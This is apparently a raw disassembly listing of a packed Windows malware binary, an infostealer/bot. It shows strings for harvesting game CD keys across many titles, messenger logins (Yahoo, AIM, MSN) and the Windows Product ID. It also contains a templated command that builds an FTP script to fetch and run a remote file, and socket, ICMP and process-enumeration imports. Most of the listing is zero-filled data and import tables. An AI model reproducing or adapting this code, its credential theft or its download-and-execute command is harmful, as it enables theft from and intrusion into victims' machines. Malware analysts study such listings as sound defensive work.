'SOFTWARE\Illusion Softworks\Hidden & Dangerous 2',0 align 10h aHiddenAndDange db '[Hidden and Dangerous 2: ',0 align 10h aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 8 aHalfLife db '[Half-Life: ',0 align 4 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 10h aGunmanChronicl db '[Gunman Chronicles: ',0 align 4 dd 0 aSoftwareEle_10 db 'SOFTWARE\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 10h aGlobalOperatio db '[Global Operations: ',0 align 4 dd 0 aSoftwareEle_11 db 'SOFTWARE\Electronic Arts\EA Distribution\Freedom Force\ergc',0 dd 3 dup(0) aFreedomForce db '[Freedom Force: ',0 align 4 aSoftwareEle_12 db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 4 dd 2 dup(0) dd 4649465Bh, 30322041h, 203A3330h, 0 aSoftwareEle_13 db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 10h aFifa2002 db '[FIFA 2002: ',0 align 10h aKey_0 db 'Key',0 aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 align 4 dd 2 dup(0) aCounterStrike db '[Counter-Strike: ',0 align 4 dd 0 aSoftwareWestwo db 'SOFTWARE\Westwood\Tiberian Sun',0 align 4 dd 2 dup(0) aCommandAndConq db '[Command and Conquer: Tiberian Sun: ',0 align 10h aSerial db 'Serial',0 align 4 aSoftwareWest_0 db 'SOFTWARE\Westwood\Red Alert 2',0 align 4 dd 0 aCommandAndCo_0 db '[Command and Conquer: Red Alert2: ',0 align 10h dd 2 dup(0) aSoftwareEle_14 db 'SOFTWARE\Electronic Arts\EA GAMES\Command and Conquer Generals Ze' db 'ro Hour\ergc',0 align 4 dd 4 dup(0) aCommandAndCo_1 db '[Command and Conquer: Generals: Zero Hour: ',0 dd 2 dup(0) aSoftwareEle_15 db 'SOFTWARE\Electronic Arts\EA GAMES\Generals\ergc',0 dd 3 dup(0) aCommandAndCo_2 db '[Command and Conquer: Generals: ',0 align 10h aSoftwareEle_16 db 'SOFTWARE\Electronic Arts\EA GAMES\Black and White\ergc',0 align 4 dd 3 dup(0) aBlackAndWhite db '[Black and White: ',0 align 4 dd 0 aSoftwareEle_17 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 4 dd 3 dup(0) aBattlefield1_0 db '[Battlefield 1942: Vietnam:',0 dd 2 dup(0) aSoftwareEle_18 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro' db 'me\ergc',0 align 10h aBattlefield1_1 db '[Battlefield 1942: The Road To Rome: ',0 align 10h aSoftwareEle_19 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons' db ' of WWII\ergc',0 align 10h dd 4 dup(0) aBattlefield1_2 db '[Battlefield 1942: Secret Weapons Of WWII: ',0 dd 2 dup(0) db 53h aOftwareElectro db 'OFTWARE\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 dd 3 dup(0) aBattlefield194 db '[Battlefield 1942: ',0 ; DATA XREF: ___:00447780o align 10h aYahooS db 'yahoo: %s',0 ; DATA XREF: ___:004362A4o align 4 aYahooUserId db 'Yahoo! User ID',0 ; DATA XREF: ___:00436268o align 10h aSoftwareYahooP db 'Software\Yahoo\Pager',0 ; DATA XREF: ___:0043622Ao align 4 dd 0 dword_4488EC dd 3A6D6961h, 732520h, 0dword_4488F8 dd 65726353h, 4E206E65h, 656D61h, 0aSoftwareAmeric db 'Software\America Online\AOL Instant Messenger (TM)\CurrentVersion' ; DATA XREF: ___:0043616Co db '\Login',0 dd 4 dup(0) aFoundCodCdkeyS db 'Found COD CDKey (%s).',0 align 4 dd 0 aTsh3xswtypwguu db 'TSH3XSWTYPWGUUTXE660',0 align 8 aSMainS db '%s\main\%s',0 align 8 aCodkey db 'codkey',0 align 10h aSoftwareActi_0 db 'Software\Activision\Call of Duty',0 align 8 aFoundSof2Cdkey db 'Found SOF2 CDKey (%s).',0 align 10h dd 0 aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 dd 0 dd 625C7325h, 5C657361h, 255C706Dh, 73h aInstallpath db 'InstallPath',0 dd 0 dword_448A2C dd 3A6E736Dh, 732520h, 0dword_448A38 dd 6F6C6C41h, 642577h, 0aSoftwareMicr_2 db 'Software\Microsoft\MessengerService\ListCache\.NET Messenger Serv' ; DATA XREF: ___:00436737o db 'ice',0 align 4 dd 3 dup(0) aFoundEmailS_ db 'Found EMail (%s).',0 ; DATA XREF: ___:004366DCo align 10h aSoftwareMicr_1 db 'Software\Microsoft\WAB\WAB4\Wab File Name',0 ; DATA XREF: ___:004365AEo align 4 dd 2 dup(0) aFoundWindowsPr db 'Found Windows Product ID (%s).',0 ; DATA XREF: sub_4369E0+546o align 4 dd 2 dup(0) aProductid db 'ProductId',0 ; DATA XREF: sub_4369E0+52Bo align 4 aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion',0 ; DATA XREF: sub_4369E0+4FEo align 4 dd 2 dup(0) aHkuS db 'HKU: %s',0 ; DATA XREF: sub_4369E0+4A4o align 8 aHkcrS db 'HKCR: %s',0 ; DATA XREF: sub_4369E0+3BBo align 4 loc_448B64: ; DATA XREF: sub_4369E0+2D3o dec eax dec ebx inc ebx inc ebx cmp ah, [eax] and eax, 73h loc_448B6F: ; DATA XREF: sub_4369E0+1EBo add [eax+4Bh], cl dec esp dec ebp cmp ah, [eax] and eax, 73h loc_448B7B: ; DATA XREF: sub_4369E0+103o add [eax+4Bh], cl inc ebx push ebp cmp ah, [eax] and eax, 73h loc_448B87: ; DATA XREF: ___:004371A6o ; ___:00437400o ... add bl, ch add ch, bl add eax, 0FFFFF9E8h call fword ptr [ebx+31h] leave mov cx, 0FFFFh loc_448B98: ; CODE XREF: ___:00448B9Dj xor byte ptr [ebx+0Eh], 0FFh inc ebx loop loc_448B98 ; --------------------------------------------------------------------------- db 0 dd 0 aStartMinCmd_ex db 'start /min cmd.exe /c "echo open %s %d > bla.txt && echo user %s ' ; DATA XREF: ___:0043762Bo db '%s >> bla.txt && echo binary >> bla.txt && echo get %s >> bla.txt' db ' && echo quit >> bla.txt && ftp.exe -n -s:bla.txt && %s"',0Ah,0 dd 0Ch dup(0) off_448C90 dd offset off_43F1D4 ; DATA XREF: ___:off_43F318o ; ___:0043F354o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 align 10h dd 1, 9Fh dup(0) byte_448F30 db 0 ; DATA XREF: sub_403530+95o ; sub_404690+200o ... align 4 dword_448F34 dd 0 ; sub_4246D0+11o ... dword_448F38 dd 0 ; resolved to->KERNEL32.Process32Next ; ___:0040D4BFr ... align 10h dword_448F40 dd 0 ; ___:0040D425w ... dd 8 dup(0) dword_448F64 dd 41h dup(0) ; ___:0040D460o ... dword_449068 dd 0 ; ___:loc_40D4B4r ... dword_44906C dd 0 ; resolved to->KERNEL32.Process32First ; ___:0040D42Fr ... dword_449070 dd 0 ; resolved to->KERNEL32.CreateToolhelp32Snapshot ; sub_40D660+CAw dword_449074 dd 0 ; sub_40D660+E3r dd 11h dup(0) dword_4490BC dd 0 ; sub_410030+47Dr dword_4490C0 dd 0 ; sub_410030+515r ... dword_4490C4 dd 0 ; sub_410030+655r ... dword_4490C8 dd 0 ; sub_410030+B79r ... dword_4490CC dd 0 ; sub_410030+74Br dword_4490D0 dd 0 ; sub_410030+828r dword_4490D4 dd 0 ; sub_410030+77Cr dword_4490D8 dd 0 ; sub_410030+4DDr ... dword_4490DC dd 0 ; sub_410030+311r dword_4490E0 dd 0 ; sub_410030+34Dr ... dword_4490E4 dd 0 ; sub_410030+33Dr dword_4490E8 dd 0 ; sub_410030+3D2r dword_4490EC dd 0 ; sub_410030+E93r dword_4490F0 dd 0 ; sub_410030+1220r ... dword_4490F4 dd 0 ; sub_4120B0+4DAr dword_4490F8 dd 0 ; sub_410030+683r dword_4490FC dd 0 ; sub_410030+6B5r dword_449100 dd 0 ; sub_410030+1252r dd 5 dup(0) dword_449118 dd 10h dup(0) ; ___:004040AFo ... db 2 dup(0) byte_44915A db 0 ; DATA XREF: sub_409B10r sub_409B80r align 4 db 3 dup(0) byte_44915F db 0 ; DATA XREF: sub_40D660+10Fr db 0 byte_449161 db 0 ; DATA XREF: sub_40DBF0r word_449162 dw 0 ; DATA XREF: sub_40DBF0+9o dd 44h dup(0) db 3 dup(0) byte_449277 db 0 ; DATA XREF: ___:00412F9Ao ; ___:0041304Fo ... db 3 dup(0) byte_44927B db 0 ; DATA XREF: sub_41F960:loc_41F99Dr align 10h dword_449280 dd 12h dup(0) ; sub_410030+114o db 0 byte_4492C9 db 3 dup(0) ; DATA XREF: ___:00408BA3o ; sub_410030+159o ... dd 11h dup(0) db 2 dup(0) word_449312 dw 0 ; DATA XREF: ___:00408B7Ao ; sub_410030+132o dd 6 dup(0) word_44932C dw 0 ; DATA XREF: sub_410030+1E1r align 10h dd 0Ah dup(0) db 3 dup(0) byte_44935B db 0 ; DATA XREF: ___:00408BCCo ; sub_410030+17Co ... dd 12h dup(0) dword_4493A4 dd 12h dup(0) ; sub_410030+F7o ... db 0 byte_4493ED db 3 dup(0) ; DATA XREF: ___:00408B05o ; sub_410030+D0o ... dd 23h dup(0) db 3 dup(0) byte_44947F db 0 ; DATA XREF: ___:00408BF5o ; sub_410030+19Ao dd 24h dup(0) db 0 byte_449511 db 3 dup(0) ; DATA XREF: sub_425100+2Bo ; sub_425100+37o ... dd 11h dup(0) db 2 dup(0) word_44955A dw 0 ; DATA XREF: ___:00412F6Ao ; ___:00412F89o ... dd 3Ch dup(0) db 3 dup(0) dword_44964F dd 0 ; sub_41F030+154r ... align 4 dd 35h dup(0) db 0 byte_449729 db 0 ; DATA XREF: sub_41BA50+18r align 4 dd 36h dup(0) byte_449804 db 0 ; DATA XREF: sub_410030+842r align 4 dd 0Bh dup(0) dword_449834 dd 18h dup(0) ; sub_40EE40+97o ... db 2 dup(0) byte_449896 db 0 ; DATA XREF: sub_404CC0+258r ; sub_41D930+66Er align 4 dd 11h dup(0) db 3 dup(0) byte_4498DF db 0 ; DATA XREF: sub_404CC0:loc_404F30r ; sub_41D930:loc_41DFB6r dd 0Bh dup(0) db 3 dup(0) byte_44990F db 0 ; DATA XREF: sub_404CC0+279o ; sub_41D930+68Fo ... dd 12h dup(0) dword_449958 dd 2Bh dup(0) ; sub_41F030+630o ... dword_449A04 dd 0 dd 11h dup(0) db 0 dword_449A4D dd 0 align 4 dd 0D9h dup(0) byte_449DB8 db 0 ; DATA XREF: sub_41F030+146r ; sub_41F030+5EEr align 4 dd 3A8h dup(0) db 2 dup(0) word_44AC5E dw 0 ; DATA XREF: sub_404690+1BDo ; sub_404B60+31o ... db 2 dup(0) word_44AC62 dw 0 ; DATA XREF: sub_404B60+4o dd 1Ch dup(0) db 2 dup(0) word_44ACD6 dw 0 ; DATA XREF: sub_4076B0+36o ; sub_407740+3Eo ... dd 26h dup(0) dword_44AD70 dd 86h dup(0) ; sub_404CC0+27Eo ... db 3 dup(0) byte_44AF8B db 0 ; DATA XREF: sub_426930+3Bw ; sub_4269A0+7Ew ... dd 7Fh dup(0) db 3 dup(0) dword_44B18B dd 0 ; sub_4269A0+4Fw ... dword_44B18F dd 0 ; ___:0042419Dw ... dword_44B193 dd 0 ; sub_4269A0+5Dr ... dword_44B197 dd 0 ; sub_4269A0+8Cr ... dword_44B19B dd 0 ; sub_4269A0+9Dr dword_44B19F dd 0 ; ___:004241D1r ... byte_44B1A3 db 0 ; DATA XREF: sub_426930+42w ; sub_4269A0+85w dword_44B1A4 dd 2828h dup(0) db 3 dup(0) byte_455247 db 0 ; DATA XREF: ___:off_446EF4o dword_455248 dd 0EB85h dup(0) dword_49005C dd 0BD23h dup(0) db 0 byte_4BF4E9 db 3 dup(0) ; DATA XREF: ___:off_402027o dd 53D8h dup(0) db 0 byte_4D444D db 3 dup(0) ; DATA XREF: ___:off_44530Co dd 0BFFh dup(0) db 2 dup(0) word_4D744E dw 0 ; DATA XREF: Themida_:00596B63o ; Themida_:00596B74o dd 2CEh dup(0) db 3 dup(0) dword_4D7F8B dd 0 ; sub_426BD0+13o align 10h dd 39h dup(0) db 0 byte_4D8075 db 3 dup(0) ; DATA XREF: sub_404C70+1Eo ; sub_404CC0+65o ... dd 5 dup(0) byte_4D808C db 0 ; DATA XREF: sub_404CC0+292w ; sub_404CC0+4EBw dword_4D808D dd 0 ; sub_422B40:loc_4232C4r ... align 4 dd 0 db 0 dword_4D8099 dd 0 ; sub_404C70+2Aw byte_4D809D db 3 dup(0) ; DATA XREF: ___:00412FC4o ; ___:00412FE7o dd 9 dup(0) db 3 dup(0) dword_4D80C7 dd 0 ; sub_428DC0:loc_428EB7r align 4 dd 2Fh dup(0) db 3 dup(0) byte_4D818B db 0 ; DATA XREF: sub_426B60+16o ; sub_426B90+19o db 3 dup(0) byte_4D818F db 0 ; DATA XREF: sub_426A90+4Co dd 6Fh dup(0) db 3 dup(0) byte_4D834F db 0 ; DATA XREF: ___:00408291o ; ___:00408722o ... dd 8 dup(0) dword_4D8370 dd 0 dd 51h dup(0) db 0 byte_4D84B9 db 0 ; DATA XREF: sub_427B10:loc_427BC0r ; sub_427FD0:loc_428085r ... align 4 dd 9Eh dup(0) db 0 dword_4D8735 dd 0 ; sub_427FD0+7Dw ... align 4 dd 1EDAh dup(0) db 0 byte_4E02A5 db 3 dup(0) ; DATA XREF: ___:00419F93o ; sub_41A050+13o dd 1EB9h dup(0) db 3 dup(0) byte_4E7D8F db 0 ; DATA XREF: sub_427D50+1Do dd 21h dup(0) db 0 byte_4E7E15 db 3 dup(0) ; DATA XREF: ___:00419FA3o dd 235h dup(0) db 3 dup(0) byte_4E86EF db 0 ; DATA XREF: sub_427D50+2Fo dd 1D5h dup(0) byte_4E8E44 db 0 ; DATA XREF: sub_404CC0+299w ; sub_410030:loc_410072r ... byte_4E8E45 db 3 dup(0) ; DATA XREF: sub_404CC0+235o ; sub_404CC0+874o ... dd 4 dup(0) db 2 dup(0) word_4E8E5A dw 0 ; DATA XREF: sub_404CC0+2D4o ; ___:00408736o ... dd 0Fh dup(0) db 0 byte_4E8E99 db 0 ; DATA XREF: sub_41F960+31w ; sub_41F960+47w ... db 0 byte_4E8E9B db 0 ; DATA XREF: sub_418590+21o ; sub_41D930+341o ... dword_4E8E9C dd 6D2Eh dup(0) dword_504354 dd 12B6h dup(0) dword_508E2C dd 1000h dup(0) ; ___:00419B9Do ... dword_50CE2C dd 333h dup(0) ; ___:00419BB8o ... dword_50DAF8 dd 0 ; sub_41A110+1Br ... dd 3 dup(0) dword_50DB08 dd 0 ; ___:0041FC3Dw ... dword_50DB0C dd 0 ; sub_41FB90+2Aw ... dword_50DB10 dd 0 dword_50DB14 dd 0 ; ___:0041FC5Bw dword_50DB18 dd 0 dword_50DB1C dd 0 ; ___:0041FC67w ... dword_50DB20 dd 0 ; ___:0041FC6Dw ... dword_50DB24 dd 0 ; ___:00420EA9o dword_50DB28 dd 0 ; sub_41FB90:loc_41FBB4r ... dword_50DB2C dd 0 ; ___:0041FC81w dword_50DB30 dd 0 ; sub_420630+41w ... dword_50DB34 dd 0 ; sub_420630+7Fr dword_50DB38 dd 0 ; sub_420630+92r ... dword_50DB3C dd 0 ; sub_420630+148r dd 3 dup(0) dword_50DB4C dd 0 ; ___:0041C2A5o dword_50DB50 dd 0 ; sub_423820+5r ... dword_50DB54 dd 0 ; ___:00423FABr ... dd 7CEh dup(0) dword_50FA90 dd 6 dup(0) ; ___:00423EAFo ... dword_50FAA8 dd 196h dup(0) ; sub_423760+6Do dword_510100 dd 0 word_510104 dw 0 ; DATA XREF: sub_424F70+A9r align 4 word_510108 dw 0 ; DATA XREF: sub_4253C0+45r ; sub_4257F0+DAr align 4 dword_51010C dd 0 dd 0 byte_510114 db 0 ; DATA XREF: sub_4267D0:loc_426830r ; sub_4267D0+97w align 4 dword_510118 dd 0 ; resolved to->IPHLPAPI.IcmpSendEcho ; sub_427B10+D9r dword_51011C dd 0 ; resolved to->IPHLPAPI.IcmpCreateFile ; sub_427B10+45r dword_510120 dd 0 ; resolved to->IPHLPAPI.IcmpCloseHandle ; sub_427B10+54r ... align 8 dword_510128 dd 80h dup(0) ; sub_427D50+129o dword_510328 dd 0 dword_51032C dd 0 dd 1Dh dup(0) dword_5103A4 dd 0 ; ___:0042C40Dr ... dword_5103A8 dd 0 ; sub_42DE00:loc_42DE96r ... dword_5103AC dd 0 ; resolved to->WS2_32.connect ; sub_432570+2Dr ... dword_5103B0 dd 0 dword_5103B4 dd 0 ; sub_431560r ... dword_5103B8 dd 0 dword_5103BC dd 0 ; sub_4309A0+111w ... dword_5103C0 dd 0 ; sub_4309A0+F6r ... dword_5103C4 dd 0 ; ___:loc_4316A0r dword_5103C8 dd 0 ; resolved to->KERNEL32.InterlockedCompareExchange ; sub_4322D0+2Cr ... dd 2 dup(0) dd 0 dword_5103D8 dd 13Ah dup(0) dword_5108C0 dd 10h dup(0) ; sub_431470:loc_4314A0o ... dword_510900 dd 8 dup(0) ; sub_430830+25o ... dword_510920 dd 8 dup(0) ; sub_431980+25o ... dword_510940 dd 8 dup(0) ; sub_432850+84o ... dword_510960 dd 8 dup(0) ; sub_432850+8Bo ... dword_510980 dd 9 dup(0) ; sub_4309A0:loc_430AB7o ... dd 0FFFFFFFFh, 3 dup(0) dd 0FFFFFFFFh, 192h dup(0) dd 5 dup(1AA6794Dh), 5 dup(65E48F8Fh), 5 dup(62BB46C0h) dd 5 dup(367B0C75h), 5 dup(66DFA7DFh), 5 dup(631E0D7Bh) dd 5 dup(24DCE02Ah), 5 dup(1833ACDBh), 5 dup(6708C228h) dd 5 dup(567B75C4h), 5 dup(69387376h), 1Eh dup(0) dd 631E0D7Bh, 10h dup(0) aVs8i db 'vs8i',0 align 10h dd 58h dup(0) dd 367B0C75h, 1Ch dup(0) dd 6708C228h, 14h dup(0) dd 65E48F8Fh, 52h dup(0) dd 1AA6794Dh, 1Bh dup(0) dd 567B75C4h, 0Bh dup(0) dd 24DCE02Ah, 0Ch dup(0) dd 66DFA7DFh, 2Bh dup(0) dd 1833ACDBh, 11h dup(0) dd 62BB46C0h, 0Ah dup(0) dd 28A0000h, 28B0000h, 28C0000h dword_511718 dd 28C147Eh dd 28C1591h dword_511720 dd 28C17EEh dd 28C1B04h, 28D0000h dword_51172C dd 28E0000h dd 28F0000h, 28F0475h, 28F0876h, 28F0CFEh dword_511740 dd 2900000h ; sub_40E870+25Ar ... dword_511744 dd 2900508h dword_511748 dd 2900761h dd 29009A8h, 2910000h dword_511754 dd 29103E8h ; sub_40EE40+15Er ... dd 29107A1h dword_51175C dd 2920000h ; sub_40E870+22Cr dd 2930000h dword_511764 dd 29301A3h ; sub_4208E0+285r ... dd 2940000h dword_51176C dd 2941385h ; sub_40E870+24Cr dd 10h dup(0) dd 76F36C5Bh, 0Bh dup(0) dword_5117E0 dd 2700000h ; sub_420630+FEr dd 2710000h, 2720000h, 2720620h, 27207C4h, 2720A9Fh, 2720C8Ch dd 2730000h, 273064Bh, 2730A55h, 2730D3Ah, 2740000h, 27405D1h dd 2740618h, 274097Eh, 2750000h, 2750379h, 27506C6h, 27508C9h dd 2750B9Fh, 2760000h, 276055Ch, 2760623h, 276099Fh, 2760C44h dd 2770000h, 27702ACh, 27704D4h, 27706F1h, 277084Dh, 2770A69h dd 2770AD1h, 2780000h dword_511864 dd 27807B0h dword_511868 dd 2780DB4h dword_51186C dd 2790000h dd 7C901005h, 7C9010EDh, 27901E5h, 2790238h, 2790261h dd 27903F8h, 2790BD1h, 27A0000h, 27A046Ah, 27B0000h, 27C0000h dd 27C07F2h, 27D0000h, 27E0000h, 27E08A3h dword_5118AC dd 27E0B10h ; sub_410030+47r ... dd 27E0B6Eh, 27F0000h, 27F0459h, 2800000h, 2801083h, 2810000h dd 2820000h dword_5118CC dd 2821584h dd 28217C7h, 2821B13h dword_5118D8 dd 2821DE2h ; sub_41B5B0+2Fr ... dd 2830000h dword_5118E0 dd 283061Dh ; sub_4204D0+2Er ... dd 283094Ah, 2840000h, 2840B5Ch dword_5118F0 dd 2850000h dd 28502DCh, 2860000h, 2870000h, 2871161h, 2871C1Eh, 2880000h dd 28807F9h, 2880C71h dd 2890000h dword_511918 dd 289036Ch ; sub_420630:loc_42067Cr ... dd 1Ah dup(0) dd 71B2578Ch, 71B2517Fh, 71B25099h, 0Bh dup(0) dd 76085AE4h, 760976AFh, 7608B84Ch, 76081F67h, 760A0430h dd 7608F485h, 7609202Eh, 760A044Fh, 760A036Bh dword_5119E0 dd 760AC190h dd 0Dh dup(0) ; --------------------------------------------------------------------------- xchg eax, esp pop esp retn ; --------------------------------------------------------------------------- ja short loc_511A99 push ebx retn ; --------------------------------------------------------------------------- db 77h db 0DBh ; Ϋ db 0F1h ; ρ db 0C1h ; Α db 77h ; w ; --------------------------------------------------------------------------- loc_511A24: ; CODE XREF: ___:00511A34j movsb icebp sal dword ptr [edi-28h], 23h mov byte ptr [edi+75h], 0D6h les esi, [edi+67h] popf retn ; --------------------------------------------------------------------------- db 77h ; --------------------------------------------------------------------------- jmp short loc_511A24 ; --------------------------------------------------------------------------- sal dword ptr [edi-54h], 17h mov byte ptr [edi-52h], 2Dh retn ; --------------------------------------------------------------------------- db 77h dd 77C39E9Ah, 77C34DF8h, 77C34E51h, 77C21868h, 77C40BB1h dd 77C36D74h, 77C3619Ch, 77C49113h, 77C3A307h, 77C3A3DBh dd 77C4186Ah dword_511A6C dd 77C3F931h ; resolved to->MSVCRT.sprintf ; sub_42E5B0+53r ... dword_511A70 dd 77C1F2BCh ; resolved to->MSVCRT._errno dd 77C371FAh, 77C36DF2h dword_511A7C dd 77C5F97Ch ; resolved to->MSVCRT.__mb_cur_max dd 77C4EE2Fh, 77C227FAh, 77C2C0C3h dword_511A8C dd 77C40E13h ; resolved to->MSVCRT.fprintfdword_511A90 dd 77C5FC80h ; resolved to->MSVCRT._iob ; sub_42DE00+4Ar ... ; --------------------------------------------------------------------------- imul dh retn ; --------------------------------------------------------------------------- db 77h db 72h ; --------------------------------------------------------------------------- loc_511A99: ; CODE XREF: ___:00511A1Bj sbb eax, esp ; --------------------------------------------------------------------------- db 77h dword_511A9C dd 77C47BE0h ; resolved to->MSVCRT.strrchrdword_511AA0 dd 77C4173Bh ; resolved to->MSVCRT.fwritedword_511AA4 dd 77C4139Ch ; resolved to->MSVCRT.fseekdword_511AA8 dd 77C4624Eh ; resolved to->MSVCRT._stricmpdword_511AAC dd 77C41574h ; resolved to->MSVCRT.ftelldword_511AB0 dd 77C411FBh ; resolved to->MSVCRT.fread dd 77C40E76h dword_511AB8 dd 77C47E61h ; resolved to->MSVCRT.wcscat ; ___:0041C3DAr ; --------------------------------------------------------------------------- adc al, dh retn ; --------------------------------------------------------------------------- db 77h dd 77C40AB1h, 77C4FA10h dword_511AC8 dd 77C371D3h ; resolved to->MSVCRT.rand ; sub_41BA50+17Er ... dd 77C371BCh dword_511AD0 dd 77C2C21Bh ; resolved to->MSVCRT.free ; sub_42F2C0+34r ... dd 77C2C407h dword_511AD8 dd 77C47920h ; resolved to->MSVCRT.strncat dd 77C39E7Eh dword_511AE0 dd 77C47A50h ; resolved to->MSVCRT.strncmp ; sub_42DE00+90r dword_511AE4 dd 77C3FA76h ; resolved to->MSVCRT._snprintf ; sub_426070+C8r ... db 90h db 0CFh, 0C1h, 77h dword_511AEC dd 77C47660h ; resolved to->MSVCRT.strchr db 8Ah, 0FFh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 77h ; --------------------------------------------------------------------------- mul byte ptr [esi] retn 0E777h ; --------------------------------------------------------------------------- db 14h, 0C2h, 77h dd 77C29CC5h dword_511B00 dd 77C47CE5h ; resolved to->MSVCRT.strtok ; sub_41BD90+5Dr dword_511B04 dd 77C47C60h ; resolved to->MSVCRT.strstr ; sub_410030+1126r ... dword_511B08 dd 77C47A90h ; resolved to->MSVCRT.strncpy ; ___:00419CDAr dd 77C29CDDh, 77C293C7h dword_511B14 dd 77C1BF18h ; resolved to->MSVCRT.atoi ; sub_422B40+203r ... dd 77C35F0Dh dword_511B1C dd 77C5F988h ; resolved to->MSVCRT._pctype dd 77C46170h, 77C1C561h, 77C46125h dd 77C46320h dd 19h dup(0) dd 76BF215Ah, 76BF1F1Ch, 76BF3A9Ah, 0Bh dup(0) dd 7CA41110h, 0Bh dup(0) dd 2890B15h off_511C00 dd offset sub_5F76F7 ; DATA XREF: ___:00419FBDr ; sub_41A050+2Dr ... dd 0Bh dup(0) dd 71AB951Eh, 71AB3E00h dword_511C38 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_425100:loc_4251B2r ... dword_511C3C dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_42B8E0:loc_42B99Br dd 71AB406Ah, 71AB4428h, 71AB664Dh, 71AB50C8h dword_511C50 dd 71AB94DCh ; resolved to->WS2_32.WSAGetLastError dd 71AB4544h, 71AC0B50h dword_511C5C dd 71AB2B66h ; resolved to->WS2_32.ntohs dd 71AB2BC0h dword_511C64 dd 71AB2D0Fh ; resolved to->WS2_32.recvfromdword_511C68 dd 71AB2C69h ; resolved to->WS2_32.sendto ; sub_42B8E0+F9r dd 71AB3EA1h, 71AB8769h, 71AB4489h, 71ABE6EBh, 71AC0BDEh dd 71AB2A5Eh, 71AB4FD4h dword_511C88 dd 71AB3F41h ; resolved to->WS2_32.inet_ntoa dd 71AB88D3h, 71AB2BC0h dword_511C94 dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_41A7D0+48r ... dword_511C98 dd 71AC1028h ; resolved to->WS2_32.acceptdword_511C9C dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_41F960+198r ... dword_511CA0 dd 71AB428Ah ; resolved to->WS2_32.send ; ___:004217E1r ... dword_511CA4 dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_4253C0+8Br ... dd 71AB2BF4h dword_511CAC dd 71AB4519h ; resolved to->WS2_32.ioctlsocket ; sub_42C830+E8r dd 71ABE479h, 11h dup(0) dd 76D6AC1Dh, 4C1h dup(0) ___ ends ; Section 2. (virtual address 00113000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00113000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rsrc___ segment para public 'DATA' use32 assume cs:_rsrc___ ;org 513000h unk_513000 db 0 ; DATA XREF: Themida_:00582500o db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 